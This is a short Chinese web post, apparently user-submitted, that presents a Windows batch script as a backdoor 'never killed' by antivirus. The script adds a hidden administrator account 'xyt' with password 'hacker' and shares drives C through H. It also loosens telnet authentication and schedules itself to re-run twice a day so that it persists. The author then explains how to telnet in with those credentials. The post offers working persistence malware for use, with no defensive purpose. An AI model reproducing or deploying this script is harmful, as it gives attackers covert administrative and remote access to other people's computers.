用批處理寫的永不被殺的后門

2020-06-09 13:38:12

字體：大中小

供稿：網(wǎng)友

代碼思路是影子鷹DESERT朋友的，原代碼比較麻煩，我做了改進，這個后門優(yōu)點就是小而且不會被殺，放到SYSTEM32目錄下就可以了，代碼如下：
   @echo off
   @attrib +s + r xyt.bat
   @net user xyt hacker /add
   @net localgroup administrators xyt /add
   @net share c$=c:
   @net share d$=d:
   @net share e$=e:
   @net share f$=f:
   @net share g$=g:
   @net share h$=h:
   @tlntadmn config sec = -ntlm

   @net stop schedule
   @net start Schedule
   @echo at 11:00 c:/WINNT/SYSTEM32/log.bat > c:/WINNT/SYSTEM32/xyt.bat
   @echo at 23:00 c:/WINNT/SYSTEM32/log.bat >> c:/WINNT/SYSTEM32/xyt.bat
   @at 11:05 c:/WINNT/SYSTEM32/xyt.bat
   @at 23:05 c:/WINNT/SYSTEM32/xyt.bat
   @net stop telnet
   @net start telnet
   @exit

   這樣就會循環(huán)運行我們的程序了，即使被人停下來，過幾個小時，又回重新運行，呵呵~~
   運行后TELNET IP上去，用戶名為xyt，密碼為hacker。

上一篇：批處理應(yīng)用：根據(jù)文件內(nèi)容進行重命名操作

下一篇：把文件名當中含有特殊字符[./]的文件刪除的方法